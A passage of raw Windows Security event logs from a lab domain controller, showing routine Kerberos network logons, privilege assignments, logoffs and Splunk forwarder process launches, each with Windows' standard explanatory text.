kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:10:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257125 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B3C49 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:11:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257128 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257129 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257130 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257131 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257132 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x460 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x794 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x77c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257136 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B6667 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59413 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257135 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B6667 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:11:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257137 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B6667 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:11:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257140 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B7323 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:11:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257139 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B7323 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59421 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:11:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257138 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B7323 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257146 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B766A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257145 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B766A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59425 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257144 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B766A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257143 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B75FE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257142 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4B75FE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59424 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:12:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257141 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4B75FE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:12:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257147 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257148 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257149 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257150 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token 